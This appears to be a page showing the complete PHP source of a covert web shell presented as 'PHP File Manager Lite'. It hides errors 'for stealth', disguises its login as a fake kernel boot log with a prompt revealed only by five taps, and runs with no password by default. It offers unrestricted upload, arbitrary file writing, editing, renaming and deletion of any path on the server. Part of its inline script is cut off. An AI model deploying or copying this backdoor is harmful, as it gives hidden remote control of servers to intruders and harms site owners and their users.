Edit

[EDIT] FILE: index.php

<?php
// PHP File Manager Lite - v4.2 (Logic Fix for No-Password Mode)

session_start();
// --- STABILITY & CONFIG ---
// 1. Perpanjang masa berlaku sesi (7 hari)
ini_set('session.gc_maxlifetime', 604800);
session_set_cookie_params(604800);
// 2. Set error display off for stealth
ini_set('display_errors', 0);
error_reporting(0);

$self = basename(__FILE__);
$lock_file = __DIR__ . '/.fs_lock';

// --- PERBAIKAN LOGIKA: TENTUKAN APAKAH AUTENTIKASI DIBUTUHKAN ---
$auth_required = file_exists($lock_file); 
// ----------------------------------------------------------------

// Clean and validate current directory path
$cwd = isset($_GET['d']) ? str_replace('..', '', $_GET['d']) : getcwd();
$cwd = realpath($cwd) ?: getcwd();
$msg = isset($_GET['msg']) ? htmlspecialchars($_GET['msg']) : '';

// Function to safely display messages
function show_msg($m) {
    if (!empty($m)) {
        if (strpos($m, 'FAILED') !== false || strpos($m, 'DENIED') !== false || strpos($m, 'EXPIRED') !== false || strpos($m, 'SECURITY ALERT') !== false) {
             return "<div class='msg failed'>[ERROR] $m</div>";
        }
        return "<div class='msg success'>[STATUS] $m</div>";
    }
    return '';
}

// Function to list directory contents (omitted for brevity)
function list_dir($path) {
    $items = @scandir($path); 
    if ($items === false) return [];
    $dirs = $files = [];
    foreach ($items as $item) {
        if ($item === "." || $item === "..") continue;
        $full = "$path/$item";
        $info = [
            'name' => $item,
            'path' => $full,
            'is_dir' => is_dir($full),
            'size' => is_file($full) ? filesize($full) : '-'
        ];
        if ($info['is_dir']) $dirs[] = $info;
        else $files[] = $info;
    }
    usort($dirs, fn($a, $b) => strcasecmp($a['name'], $b['name']));
    usort($files, fn($a, $b) => strcasecmp($a['name'], $b['name']));
    return array_merge($dirs, $files);
}

// Function to format file size (omitted for brevity)
function formatSize($b) {
    if (!is_numeric($b)) return '-';
    $u = ['B', 'KB', 'MB', 'GB'];
    for ($i = 0; $b >= 1024 && $i < count($u) - 1; $b /= 1024, $i++);
    return round($b, 2) . ' ' . $u[$i];
}

// Function to create breadcrumbs (navigation) (omitted for brevity)
function breadcrumbs($path) {
    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $full = '';
    $out = ['<a href="?d=/">/</a>'];
    foreach ($parts as $part) {
        if (empty($part)) continue;
        $full .= '/' . $part;
        $out[] = "<a href='?d=" . urlencode($full) . "'>$part</a>";
    }
    return implode("/", $out);
}

// ===== AUTH (Login Screen) =====
// HANYA tampilkan layar login jika file .fs_lock ADA.
if ($auth_required && !isset($_SESSION['unlocked'])) { 
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['pass'])) {
        $hash = file_get_contents($lock_file);
        if (password_verify($_POST['pass'], $hash)) {
            $_SESSION['unlocked'] = true;
            header("Location: ?d=" . urlencode($cwd));
            exit;
        } else {
            $msg = "ACCESS DENIED";
        }
    }
        // --- HTML LOGIN PAGE (TIDAK BERUBAH) ---
        echo <<<HTML
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>System Log</title>
<style>
  body { background: #111; color: #0f0; font-family: 'Consolas', 'Monospace'; margin: 0; padding: 20px; line-height: 1.5; }
  .prompt { margin-top: 10px; font-size: 16px; display: none; }
  .prompt form { display: flex; gap: 5px; }
  .prompt input { background: #222; border: 1px solid #0f0; color: #0f0; padding: 5px; font-family: inherit; }
  .prompt button { background: #0f0; color: #111; border: none; padding: 5px 10px; cursor: pointer; }
  .msg { color: #f00; }
  .fake-log { color: #555; }
</style>
</head>
<body ontouchstart="">
<div class="fake-log">
  [INIT] Starting kernel version 5.10.0-18...<br>
  [INFO] Checking memory integrity... OK<br>
  [INFO] Booting system services...<br>
  [FAIL] Mount /dev/sda1 failed: Permission denied<br>
  [FAIL] Network connection timed out.
</div>
<div class="msg">$msg</div>
<div class="prompt" id="secret">
  <form method='post'>
    <input type='password' name='pass' placeholder='Authorization Key' required>
    <button>ENTER</button>
  </form>
</div>

['click', 'touchstart'].forEach(eventType => {
    document.body.addEventListener(eventType, function () {
      tapCount++;
      clearTimeout(timer);

if (tapCount >= 5) { // Lebih mudah diakses
        document.getElementById('secret').style.display = 'block';
      }

timer = setTimeout(() => {
        tapCount = 0;
      }, 800);
    });
  });
</script>
</body>
</html>
HTML;
    exit;
}

// ===== ACTIONS (Error Handling Improved) =====
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // --- PERBAIKAN LOGIKA SESI POST ---
    // HANYA periksa sesi jika autentikasi diperlukan ($auth_required)
    if ($auth_required && !isset($_SESSION['unlocked'])) {
        // Redirection yang terjadi ketika sesi terlanjur hilang
        header("Location: ?d=" . urlencode($cwd) . "&msg=SECURITY ALERT: SESSION EXPIRED. Please login again.");
        exit;
    }
    // -----------------------------------
    
    // LOGIKA ACTION (UPLOAD, CREATE, EDIT, RENAME, SET/DEL PASS) TIDAK BERUBAH
    if (isset($_POST['uploadfile'])) {
        $dest = $cwd . '/' . basename($_FILES['uploadfile']['name']);
        $ok = @move_uploaded_file($_FILES['uploadfile']['tmp_name'], $dest);
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "UPLOAD SUCCESS: " . basename($dest) : "UPLOAD FAILED: Check file permissions (CHMOD 777)"));
        exit;
    }
    if (isset($_POST['newfile'])) {
        $name = trim($_POST['newfile']);
        if (!empty($name)) {
            $ok = @file_put_contents($cwd . '/' . $name, $_POST['filedata']);
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? "FILE CREATED: $name" : "FILE CREATE FAILED: Check folder permissions"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=FILE NAME EMPTY");
        }
        exit;
    }
    if (isset($_POST['newfolder'])) {
        $name = trim($_POST['newfolder']);
        if (!empty($name)) {
            $ok = @mkdir($cwd . '/' . $name);
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "FOLDER CREATED: $name" : "FOLDER CREATE FAILED: Check parent permissions"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=FOLDER NAME EMPTY");
        }
        exit;
    }
    if (isset($_POST['setpass'])) {
        // Jika password diset, $lock_file dibuat dan $auth_required akan menjadi TRUE di request berikutnya.
        if (!empty($_POST['setpass'])) {
            @file_put_contents($lock_file, password_hash($_POST['setpass'], PASSWORD_DEFAULT));
            $_SESSION['unlocked'] = true; // Langsung beri sesi agar tidak redirect
            header("Location: ?d=" . urlencode($cwd) . "&msg=KEY SAVED");
        } else {
             header("Location: ?d=" . urlencode($cwd) . "&msg=KEY FIELD EMPTY");
        }
        exit;
    }
    if (isset($_POST['editfile'])) {
        $ok = @file_put_contents($_POST['filepath'], $_POST['filedata']);
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? "FILE SAVED" : "FILE SAVE FAILED: Check permissions"));
        exit;
    }
    if (isset($_POST['rename'])) {
        $old = $_POST['old'];
        $new_name = basename(trim($_POST['new']));
        if (!empty($new_name)) {
            $new = dirname($old) . '/' . $new_name;
            $ok = @rename($old, $new);
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "RENAME SUCCESS" : "RENAME FAILED: Check permissions"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=RENAME NAME EMPTY");
        }
        exit;
    }
    if (isset($_POST['delpass'])) {
        // Jika password dihapus, hapus sesi agar kembali ke mode "no-password"
        if (file_exists($lock_file)) @unlink($lock_file);
        unset($_SESSION['unlocked']);
        header("Location: ?d=" . urlencode($cwd) . "&msg=KEY REMOVED");
        exit;
    }
}

if (isset($_GET['delete'])) {
    // --- PERBAIKAN LOGIKA SESI DELETE ---
    // HANYA periksa sesi jika autentikasi diperlukan ($auth_required)
    if ($auth_required && !isset($_SESSION['unlocked'])) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=SECURITY ALERT: SESSION EXPIRED. Please login again.");
        exit;
    }
    // -----------------------------------
    $target = $_GET['delete'];
    $ok = is_dir($target) ? @rmdir($target) : @unlink($target);
    header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "DELETE SUCCESS" : "DELETE FAILED: Check permissions"));
    exit;
}

// ===== EDIT PAGE (Minimalist Log Theme) (TIDAK BERUBAH) =====
if (isset($_GET['edit'])) {
    $f = $_GET['edit'];
    $data = @file_get_contents($f);
    $data = htmlspecialchars($data ?: "ERROR: Could not read file.");
    echo "
    <!DOCTYPE html><html><head><title>Edit</title>
    <style>
        body { background: #111; color: #0f0; font-family: 'Consolas', 'Monospace'; margin: 0; padding: 20px; }
        textarea { background: #222; border: 1px solid #0f0; color: #0f0; width: 98%; height: 400px; padding: 10px; font-family: inherit; }
        button { background: #0f0; color: #111; border: none; padding: 5px 10px; cursor: pointer; margin-right: 10px; }
        a { color: #0ff; text-decoration: none; }
    </style>
    </head><body>
    [EDIT] FILE: " . basename($f) . "<br><br>
    <form method='post'>
    <textarea name='filedata'>$data</textarea><br><br>
    <input type='hidden' name='filepath' value='$f'>
    <button name='editfile'>SAVE</button>
    <a href='?d=" . urlencode(dirname($f)) . "'>CANCEL</a>
    </form></body></html>";
    exit;
}

// ===== MAIN UI (Minimalist Log Theme) (TIDAK BERUBAH) =====
echo "<!DOCTYPE html><html><head><title>System Shell</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<style>
body { background: #111; color: #0f0; font-family: 'Consolas', 'Monospace'; margin: 0; padding: 20px; line-height: 1.5; }
a { color: #0ff; text-decoration: none; }
a:hover { color: #fff; }
.header { margin-bottom: 15px; border-bottom: 1px dashed #0f0; padding-bottom: 10px; }
.msg { margin-bottom: 10px; padding: 5px; border: 1px solid; }
.msg.success { border-color: #0f0; color: #0f0; }
.msg.failed { border-color: #f00; color: #f00; }
.actions { margin-bottom: 15px; display: flex; flex-wrap: wrap; gap: 10px; }
.actions button, .actions a { background: #333; color: #0f0; border: 1px solid #0f0; padding: 5px 10px; cursor: pointer; text-decoration: none; }
.actions input, .actions textarea { background: #222; border: 1px solid #0f0; color: #0f0; padding: 5px; font-family: inherit; width: 100%; max-width: 300px; box-sizing: border-box; }
.actions form { display: flex; gap: 5px; flex-wrap: wrap; }
table { width: 100%; border-collapse: collapse; margin-top: 10px; }
td { border: 1px dashed #333; padding: 5px; white-space: nowrap; }
.dir-name { color: #ff0; }
.file-name { color: #fff; }
.action-group { display: flex; gap: 5px; }
</style>
</head><body>";

echo "<div class='header'>
    [SYSTEM] CURRENT PATH: " . breadcrumbs($cwd) . "
</div>";

echo show_msg($msg);

if (isset($_GET['action'])) {
    echo "<a href='?d=" . urlencode($cwd) . "'>&lt;&lt; BACK</a><br><br>";
    if ($_GET['action'] === 'create_file') {
        echo "[ACTION] CREATE NEW FILE<br>";
        echo "<form method='post' class='actions' style='flex-direction:column;'>
        <input name='newfile' placeholder='FILENAME' required>
        <textarea name='filedata' placeholder='CONTENT' rows='10'></textarea>
        <button>SAVE FILE</button></form>";
    } elseif ($_GET['action'] === 'create_dir') {
        echo "[ACTION] CREATE NEW FOLDER<br>";
        echo "<form method='post' class='actions'>
        <input name='newfolder' placeholder='FOLDER NAME' required>
        <button>CREATE FOLDER</button></form>";
    } elseif ($_GET['action'] === 'password') {
        echo "[ACTION] AUTHORIZATION KEY MANAGEMENT<br>";
        echo "<form method='post' class='actions' style='flex-direction:column;'>
        <input type='password' name='setpass' placeholder='NEW KEY' required>
        <button>SET KEY</button></form><br>
        <form method='post' class='actions'>
        <input type='hidden' name='delpass' value='1'>
        <button style='background: #500; border-color: #f00;'>REMOVE KEY</button></form>";
    }
    exit;
}

echo "[INFO] DIRECTORY LISTING:<br>";
echo "<div class='actions'>
<form method='post' enctype='multipart/form-data' style='flex-direction:column; border:1px solid #0f0; padding:10px;'>
    UPLOAD FILE:<br>
    <input type='file' name='uploadfile' style='border:none; max-width: none;'>
    <button name='uploadfile'>UPLOAD</button>
</form>
<div style='border:1px solid #0f0; padding:10px;'>
    SYSTEM TOOLS:<br>
    <a href='?d=" . urlencode($cwd) . "&action=create_file'>+FILE</a>
    <a href='?d=" . urlencode($cwd) . "&action=create_dir'>+DIR</a>
    <a href='?d=" . urlencode($cwd) . "&action=password'>SET KEY</a>
</div>
</div>";

echo "<table>";
echo "<tr><td>TYPE</td><td>NAME</td><td>SIZE</td><td>ACTIONS</td></tr>";

foreach (list_dir($cwd) as $i) {
    $n = htmlspecialchars($i['name']);
    $p = $i['path'];
    if ($i['is_dir']) {
        $display_name = "<span class='dir-name'>[DIR] <a href='?d=" . urlencode($p) . "'>$n</a></span>";
    } else {
        $display_name = "<span class='file-name'>[FILE] $n</span>";
    }
    
    echo "<tr><td>" . ($i['is_dir'] ? 'D' : 'F') . "</td>";
    echo "<td>" . $display_name . "</td>";
    echo "<td>" . formatSize($i['size']) . "</td>";
    echo "<td>
        <div class='action-group'>
        <a href='?d=" . urlencode($cwd) . "&delete=" . urlencode($p) . "' style='color:#f00;' onclick='return confirm(\"DELETE $n?\")'>[DEL]</a>" .
        (!$i['is_dir'] ? "<a href='?d=" . urlencode($cwd) . "&edit=" . urlencode($p) . "' style='color:#0ff;'>[EDIT]</a>" : "") .
        "<form method='post' style='display:inline-flex;gap:3px;'>
            <input type='hidden' name='old' value='$p'>
            <input type='text' name='new' placeholder='RENAME' style='width:80px; height:20px; padding:2px; font-size:10px;'>
            <button name='rename' style='padding:2px 5px; font-size:10px;'>[RN]</button>
        </form>
        </div>
    </td></tr>";
}
echo "</table></body></html>";
?>

CANCEL